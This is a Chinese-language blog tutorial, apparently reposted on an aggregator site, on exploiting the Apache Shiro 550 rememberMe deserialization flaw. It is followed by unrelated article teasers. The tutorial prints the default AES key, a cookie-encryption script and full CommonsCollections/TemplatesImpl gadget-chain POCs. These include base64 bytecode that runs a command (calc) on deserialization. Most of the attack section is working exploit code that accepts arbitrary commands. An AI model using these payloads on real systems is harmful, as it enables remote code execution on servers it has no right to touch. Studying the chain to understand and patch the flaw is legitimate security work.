[java安全]TemplatesImpl在Shiro550反序列化

文章目录

    • 【java安全】TemplatesImpl在Shiro550反序列化
      • Shiro的原理
      • Shiro反序列化产生
      • 演示
      • 攻击过程
        • payload使用key加密
      • 构造不含数组的GadGets
        • 简单调用链
      • 改造cc6为CommonsCollctionsShiro
      • 完整POC
      • 触发Shiro550漏洞
      • 进阶POC
      • 总结

【java安全】TemplatesImpl在Shiro550反序列化

Shiro的原理

为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化加密后保存在Cookie的rememberMe字段中,下次读取时进行解密反序列化.

Shiro反序列化产生

Shiro1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以通过这个key来伪造Cookie,进而触发反序列化漏洞

演示

此处使用phith0n的一个基于Shiro1.2.4的简单登录应用,

整个项目只有两个代码文件,index.jsp和login.jsp

依赖:

  • shiro-core、shiro-web,这是shiro本身的依赖

  • javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这 两个依赖

  • slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖

  • commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误

  • commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖

我们启动一下这个项目:

image-20230719211320757

有一个登录框:

账号:root 密码:secret

image-20230719211423227

当我们登录时勾选:Remember me 时,登录成功后,服务端成功登录后会返回rememberMe的cookie

image-20230719211835059

攻击过程

根据上面的登录演示,我们知道了,如果我们在登录时将cookie中rememberMe的值改为经过key加密的payload的值,就可以执行恶意反序列化了

payload使用key加密

这里使用了phithon的脚本:

package com.govuln.shiroattack;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client0 {
public static void main(String []args) throws Exception {
        byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
        AesCipherService aes = new AesCipherService();
        byte[] key =
        java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
	}
}

使用shiro内置类org.apache.shiro.crypto.AesCipherService加密,最后生成base64字符串

这里的payload我们使用CommonsCollections6进行生成:

package com.govuln.shiroattack;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6 {
    public byte[] getPayload(String command) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { command }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

我们将生成加密的base64字符串放入rememberMe中传入,看起来很完美,会弹计算器对吧,结果它报错了:

image-20230719213628573

最后一行报错是org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass

resolveClass()是一个方法是反序列化中寻找类的方法。简单的说,读取序列化流时,如果读取到字符串形式的类名,需要通过这个方法来找到对应的Class对象

我们来查看一下org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass

public class ClassResolvingObjectInputStream extends ObjectInputStream {
    public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
        try {
            return ClassUtils.forName(osc.getName());
        } catch (UnknownClassException var3) {
            throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3);
        }
    }
}

这个类继承了ObjectInputStream,重写了resolveClass()方法

我们再看一下其父类ObjectInputStream#resolveClass()方法

protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException
    {
        String name = desc.getName();
        try {
            return Class.forName(name, false, latestUserDefinedLoader());
        } catch (ClassNotFoundException ex) {
            Class<?> cl = primClasses.get(name);
            if (cl != null) {
                return cl;
            } else {
                throw ex;
            }
        }
    }

这两个的区别,前者调用org.apache.shiro.util.ClassUtils#forName()方法

后者使用了原生的Class.forname()方法

为了搞清为什么报错,我们在抛异常的这里打一个断点

image-20230719215311353

发现出异常时加载的类名为[Lorg.apache.commons.collections.Transformer

这个类名看起来怪,其实这是org.apache.commons.collections.Transformer的数组

由于cc6链中使用的是ClassLoader.loadClass()所以有人说loadClass()不支持加载数组

但是结论是:

如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误

这里用到的Transformer数组是CommonsCollections库中的,所以加载不了

构造不含数组的GadGets

之前我们使用了TemplatesImpl执行java字节码

TemplatesImpl obj = new TemplatesImpl(); 
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); 
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

我们只需调用TemplatesImpl#newTransformer()方法即可执行字节码

但是newTransformer()方法我们可以使用InvokerTransformer#transform()方法来调用,于是可以写成这样:

Transformer[] transformers = new Transformer[]{ 
    new ConstantTransformer(obj), 
    new InvokerTransformer("newTransformer", null, null)
};

ConstantTransformer#transform()的作用就是将obj给返回

这里还是用到了数组,怎么办?我们可以结合cc6中的相关操作

因为使用到了LazyMap这个类的get()方法就可以触发链子

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }

观察一下这个get()方法参数Object key

由于我们LazyMap是这么构造的:

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

所以factory就是transformerChain ,如果我们能控制这个key的话,就可以触发ChainedTransform#transform()方法,进而调用InvokerTransformer#transform()方法

调用TemplatesImpl#newTransformer()方法将key传给InvokerTransformer#transform()方法,如果这个key刚好是TemplatesImpl对象的话,就可以触发方法。这样我们发现,ConstantTransformer可以从Transformer数组中给去掉了

我们怎么控制key

在cc6中使用了TiedMapEntry

public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }
public Object getValue() {
    return this.map.get(this.key);
}

getValue()会调用map的get方法,如果mapLazyMapkeyTemplatesImpl对象就刚好能满足条件了

此时Transformer数组只有InvokerTransformer这个类对象了,所以也就不需要数组了

Transformer transformer = new InvokerTransformer("getClass", null, null);
//此处传入getClass()方法是为了不被后面的HashMap添加元素导致的链式反应影响

简单调用链

TiedMapEntry#hashCode()
	TiedMapEntry#getValue()
		LazyMap#get()
			ChainedTransformer#transform()
				InvokerTransformer#transform(templates)
					TemplatesImpl#newTransform()

改造cc6为CommonsCollctionsShiro

首先创建TemplatesImpl对象

TemplatesImpl obj = new TemplatesImpl(); 
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"}); 
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后我们创建一个用来调用newTransformer方法的InvokerTransformer,但注意的是,此时先传入一 个人畜无害的方法,比如getClass,避免恶意方法在构造Gadget的时候触发:

Transformer transformer = new InvokerTransformer("getClass", null, null);

然后我们改一改CommonsCollections6,将TiedMapEntry构造函数第二个值传入TemplatesImpl对象

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);//obj
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
//将参数名改回newTransformer

完整POC

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

触发Shiro550漏洞

将POC生成的字节数组加密后传参给Cookie的rememberMe

image-20230719225754553

弹出计算器

进阶POC

InvocationTransformer类被禁用之后,没法调用newTransformer方法了

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        String s = "yv66vgAAADQAMwoABwAlCgAmACcIACgKACYAKQcAKgcAKwcALAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAKTEV4ZWNUZXN0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAA1TdGFja01hcFRhYmxlBwArBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA1FeGVjVGVzdC5qYXZhDAAaABsHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAhFeGVjVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAAEAAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAMAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAARAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAFgAXAAIAAAABABgAGQADABMAAAAEAAEAFAABABoAGwABAAoAAABqAAIAAgAAABIqtwABuAACEgO2AARXpwAETLEAAQAEAA0AEAAFAAMACwAAABYABQAAABIABAAUAA0AFwAQABUAEQAYAAwAAAAMAAEAAAASAA0ADgAAABwAAAAQAAL/ABAAAQcAHQABBwAeAAAJAB8AIAABAAoAAAArAAAAAQAAAAGxAAAAAgALAAAABgABAAAAHAAMAAAADAABAAAAAQAhACIAAAABACMAAAACACQ=";
        byte[] bytes= Base64.getDecoder().decode(s);
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer fakeTransformer = new ConstantTransformer("leekos");
        Transformer transformer = InstantiateTransformer.getInstance(new Class[]{Templates.class}, new Object[]{obj});

        Map lazyMap = LazyMap.decorate(new HashMap(),fakeTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,TrAXFilter.class);

        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"leekos");
        //消除影响
        lazyMap.clear();
        setFieldValue(lazyMap,"factory",transformer);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashMap);
        oos.flush();
        oos.close();

        //测试反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

我们编写一个可以在jdk1.7、1.8使用的POC

总结

其实Shiro550反序列化的不同点就是Transformer不能为数组,但是我们经过链子的巧妙传参发现可以去除掉ConstantTransformer,这样原本两个元素的Transformer数组变成一个元素,就不需要使用数组了

文末我编写了一个结合CommonsCollections3的POC,可以在jdk1.7、1.8的某些版之前使用(貌似是8u71),没有使用InvokerTransformer,而是改用了InstantiateTransformer

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/42678.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

24.实现线性拟合和相关系数(matlab程序)

1.简述 1. 基本语法 1.1 corr函数基本语法 语法 说明 rho corr(X) 返回输入矩阵X中每对列之间的两两线性相关系数矩阵。 rho corr(X, Y) 返回输入矩阵X和Y中每对列之间的两两相关系数矩阵。 [rho, pval] corr(X, Y) 返回pval&#xff0c;一个p值矩阵&#xff0c…

OceanBase 压测时为什么冻结阈值在变化?

本文从源码角度分析了 OceanBase 压测中冻结阈值动态变化的原因&#xff0c;并给出运维建议。 作者&#xff1a;张乾 外星人2号&#xff0c;兼任五位喵星人的铲屎官。 本文来源&#xff1a;原创投稿 爱可生开源社区出品&#xff0c;原创内容未经授权不得随意使用&#xff0c;转…

Vue3组合式API+TypeScript写法入门

文章目录 前言1.reactive2.ref3.props4.computed5.emit6.watch总结 前言 参考Vue3官网. 本篇以组合式API为例, 但不包含setup语法糖式写法. 原本打算结合class-component, Vue3不推荐就不用了: OverView|Vue Class Component. 而且是不再推荐基于类的组件写法, 推荐单文件组件…

NetSuite ERP顾问的进阶之路

目录 1.修养篇 1.1“道”是什么&#xff1f;“器”是什么&#xff1f; 1.2 读书这件事儿 1.3 十年计划的力量 1.3.1 一日三省 1.3.2 顾问损益表 1.3.3 阶段课题 2.行为篇 2.1协作 2.2交流 2.3文档管理 2.4时间管理 3.成长篇 3.1概念能力 3.1.1顾问的知识结构 …

【idea】idea全局设置Maven配置

Idea版本&#xff1a;2021.1.1 1、点击File->Close project 2、点击Customize->All settings 3、设置Maven

Vue 项目增加版本号输出, 可用于验证是否更新成功

webpack 1. vue.config.js 中增加以下配置, 此处以增加一个日期时间字符串为例, 具体内容可以根据自己需求自定义 // vue.config.js module.exports {chainWebpack(config) {config.plugin(define).tap(args > {args[0][process.env].APP_VERSION ${JSON.stringify(new …

Vue中TodoLists案例_删除

与上一篇Vue中TodoList案例_勾选有三个文件变化了 App.vue&#xff1a;添加了一个deleteTodo根据id删除方法&#xff0c;传递给儿子组件MyList <template><div id"root"><div class"todo-container"><div class"todo-wrap"…

浅谈小程序开源业务架构建设之路

一、业务介绍 1.1 小程序开源整体介绍 百度从做智能小程序的第一天开始就打造真正开源开放的生态&#xff0c;我们的愿景是&#xff1a;定义移动时代最佳体验&#xff0c;建设智能小程序行业标准&#xff0c;打破孤岛&#xff0c;共建开源、开放、繁荣的小程序行业生态。百度…

脑电信号处理与特征提取——三. 脑电实验设计的原理与实例(古若雷)

三、脑电实验设计的原理与实例 被试间设计的实验结果也有可能是人员不同造成的&#xff0c;所以建议被试内设计。

Web前端开发概述(二)

&#x1f60a;Web前端开发概述&#xff08;二&#xff09; &#x1f47b;前言&#x1fa81;前端开发背景&#x1f50d;当下前端开发要求&#x1f526;Web前端开发技术&#x1f3ad;HTML&#x1f3ad;CSS&#x1f3ad;JavaScript&#x1f3ad;HTML DOM&#x1f3ad;BOM&#x1f…

JVM面试题总结

一.请简述对象的创建过程 对象的new字节码执行指令如下图 首先0指令new出一片内存空间&#xff0c;然后进行对象的初始化&#xff0c;初始化完成前变量都是初始值如m0 然后创建连接&#xff0c;t指向对象。 二.DCL单例要不要加volatile&#xff1f; DCL单例就是要懒汉式从创建…

软工导论知识框架(一)软件工程学概述

本贴为B站大连工业大学老师的网课笔记&#xff0c;教材为张海藩第6版&#xff0c;适用于考研和期末复习。 导图比较拥挤&#xff0c;看不清可以单独保存或者放大页面。 一.软件&#xff1a; 软件指的是计算机程序、文档运行程序必须的数据、方法与规则。 方法指的是软件开发…

Java之集合的排序方式(Comparable和Comparator的基本使用以及区别)

文章目录 一、Comparable接口&#xff1a;1. 代码示例&#xff1a;2. 运行结果&#xff1a;3. 案例分析&#xff1a; 二、Comparator接口&#xff1a;1. 代码示例&#xff1a;2. 运行结果&#xff1a;3. 案例分析&#xff1a; 三、Comparable和Comparator对比&#xff1a;1. 接…

文心一言 VS 讯飞星火 VS chatgpt (64)-- 算法导论6.5 3题

文心一言 VS 讯飞星火 VS chatgpt &#xff08;64&#xff09;-- 算法导论6.5 3题 三、要求用最小堆实现最小优先队列&#xff0c;请写出 HEAP-MINIMUM、HEAP-EXTRACT-MIN、HEAP DECREASE-KEY 和 MIN-HEAP-INSERT 的伪代码。 文心一言&#xff1a; 以下是使用最小堆实现最小…

UE5 AI移动无动作问题

文章目录 问题背景解决方法问题背景 在使用行为树让角色移动时,出现角色行走不播放动作的情况: 解决方法 其实有2个问题导致出现这种情况 1、角色动画蓝图的问题 角色动画蓝图可能存在4个问题: ① 无播放行走动画 ② 速度的值未正常传递 ③ 播放移动动作逻辑的值判断错…

qt与opencv学习记录

qtopencv开发入门&#xff1a;4步搞定环境配置-1_哔哩哔哩_bilibili qtopencv开发入门&#xff1a;4步搞定opencv环境配置2_哔哩哔哩_bilibili 文章内容来自上面两个视频&#xff0c;感谢创作者。 ps&#xff1a;配置环境的过程中&#xff0c;遇到了很多问题&#xff0c;我…

90道渗透测试面试题(附答案)

2023年已经快过去一半了&#xff0c;不知道小伙伴们有没有找到自己心仪的工作呀。最近后台收到不少小伙伴说要我整理一些渗透测试的面试题&#xff0c;今天它来了&#xff01;觉得对你有帮助的话记得点个赞再走哦~ 1、什么是渗透测试&#xff1f; 渗透测试是一种评估计算机系统…

C—数据的储存(下)

文章目录 前言&#x1f31f;一、练习一下&#x1f30f;1.例一&#x1f30f;2.例二&#x1f30f;3.例三&#x1f30f;4.例四 &#x1f31f;二、浮点型在内存中的储存&#x1f30f;1.浮点数&#x1f30f;2.浮点数存储&#x1f4ab;&#xff08;1&#xff09;.二进制浮点数&#x…

Meshlab查看三维点云时 ,换背景颜色

Meshlab&#xff0c;一般默认背景颜色是深色&#xff0c; tools->options-> 就可以调meshlab的背景颜色了 双击 图中 标号①&#xff0c; 接着弹出当前颜色框&#xff0c;双击标号②&#xff0c;出现对话框三&#xff0c;可以选择颜色 这里 更换白色背景&#xff0c; …

TSDB - VictoriaMetrics 技术原理浅析

一、前言 在监控领域&#xff0c;通常需要指标存储组件TSDB&#xff0c;目前开源的TSDB组件比较多&#xff0c;各个组件性能、高可用性、维护成本等等各有差异。本文不分析选型问题&#xff0c;重点讲解VictoriaMetrics&#xff08;后面简称为vm&#xff09;。 有兴趣的朋友建议…